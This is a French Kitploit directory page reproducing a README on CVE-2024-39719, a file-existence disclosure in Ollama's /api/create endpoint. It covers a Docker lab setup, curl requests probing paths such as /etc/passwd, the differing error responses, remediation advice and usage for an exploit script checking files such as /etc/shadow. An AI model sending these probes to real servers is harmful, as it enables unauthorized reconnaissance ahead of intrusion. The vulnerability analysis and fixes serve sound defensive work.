Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-39719 | Kitploit
Outils/GitHubGitHub/srcx404/cve-2024-39719
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de la vulnérabilité de divulgation d'existence de fichiers Ollama (CVE-2024-39719)

中文

Aperçu de la vulnérabilité

CVE-2024-39719 est une vulnérabilité de divulgation d'existence de fichiers affectant Ollama versions 0.3.14 et antérieures. Cette vulnérabilité permet aux attaquants de détecter l'existence de fichiers spécifiques sur le serveur via un point de terminaison API, pouvant entraîner une fuite d'informations.

Date de publication : 31 octobre 2024

Détails de la vulnérabilité

Cause racine

La vulnérabilité se trouve dans le point de terminaison /api/create d'Ollama. Lorsqu'un attaquant appelle l'API CreateModel avec un paramètre de chemin, le serveur renvoie différents messages d'erreur selon que le chemin existe ou non. Ce comportement permet à un attaquant de déterminer si un fichier ou un répertoire spécifique existe sur le serveur en analysant les messages d'erreur.

Le problème principal est que lors du traitement des entrées utilisateur, le système expose directement les erreurs du système de fichiers au client au lieu de masquer correctement les informations sur l'existence des chemins.

Versions concernées

Cette vulnérabilité affecte toutes les versions d'Ollama jusqu'à la version 0.3.14 incluse.

Impact

Bien qu'une vulnérabilité de divulgation d'existence de fichiers puisse sembler moins grave à première vue, elle peut :

  1. Servir d'étape préliminaire dans des attaques plus complexes, en aidant les attaquants à recueillir des informations sur le serveur
  2. Être utilisée pour détecter la présence de fichiers de configuration critiques, de certificats ou de fichiers de données sensibles
  3. Aider les attaquants à mener des attaques plus ciblées
  4. Entraîner une fuite d'informations dans des environnements spécifiques, comme confirmer l'existence d'utilisateurs particuliers ou de caractéristiques du système

Reproduction de la vulnérabilité

Configuration de l'environnement

  1. Créez un environnement Ollama vulnérable en utilisant le fichier Docker Compose suivant :
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Démarrez le service :
root@kitploit:~
docker compose up -d
  1. Une fois le service démarré, vous pouvez confirmer qu'Ollama 0.3.14 est en cours d'exécution en accédant à http://your-ip:11434/.

Étapes de reproduction

1. Test de fichiers inexistants

Envoyez une requête avec curl pour tenter d'accéder à un fichier inexistant :

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Réponse :

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Test de fichiers existants

Testez un fichier existant, comme /etc/passwd :

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Réponse :

root@kitploit:~
{"error":"no FROM line for the model was specified"}

En analysant ces différents messages d'erreur, un attaquant peut déterminer si un chemin cible existe ou non, obtenant ainsi des informations sur la structure de fichiers du serveur. Notez que les informations renvoyées par le serveur peuvent varier en fonction de la version.

Remédiation de la vulnérabilité

Correctif officiel

Ollama a corrigé cette vulnérabilité dans les versions plus récentes. Les correctifs incluent :

  1. Normaliser la gestion des erreurs pour éviter de divulguer des informations sur l'existence de fichiers
  2. Mettre en œuvre une validation et un filtrage plus stricts des chemins fournis par l'utilisateur
  3. Utiliser des messages d'erreur plus génériques qui n'exposent pas directement les informations du système de fichiers

Étapes de remédiation recommandées

  1. Mettre à niveau Ollama : La solution la plus efficace est de mettre à niveau vers la dernière version d'Ollama.
  2. Contrôle d'accès : Restreignez l'accès aux points de terminaison API, en autorisant uniquement les utilisateurs autorisés.
  3. Isolation réseau : Dans la mesure du possible, déployez les services Ollama dans des réseaux isolés pour réduire l'accès externe.
  4. Surveillance : Renforcez la surveillance des appels API, en particulier pour détecter les modèles d'accès inhabituels au point de terminaison /api/create.

Utilisation du script d'exploitation

Le script Python fourni vous permet de tester si un serveur Ollama est vulnérable à CVE-2024-39719.

Prérequis

  • Python 3.x
  • Paquets requis : requests, termcolor

Installation

root@kitploit:~
pip install requests termcolor

Utilisation

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Options

  • -u, --url : URL du serveur Ollama (requis)
  • -f, --file : Fichier dont l'existence doit être vérifiée (par défaut "/etc/passwd")

Exemples

root@kitploit:~
# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434

# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Références

  • CVE-2024-39719 dans la base de données nationale des vulnérabilités
  • Dépôt GitHub d'Ollama
  • Avis de sécurité Ollama

Avertissement

Ce script est fourni à des fins éducatives et pour des tests de sécurité légitimes uniquement. Assurez-vous toujours d'avoir les autorisations appropriées avant de tester un système pour des vulnérabilités. Les tests non autorisés peuvent violer les lois et règlements.

Télécharger l’outil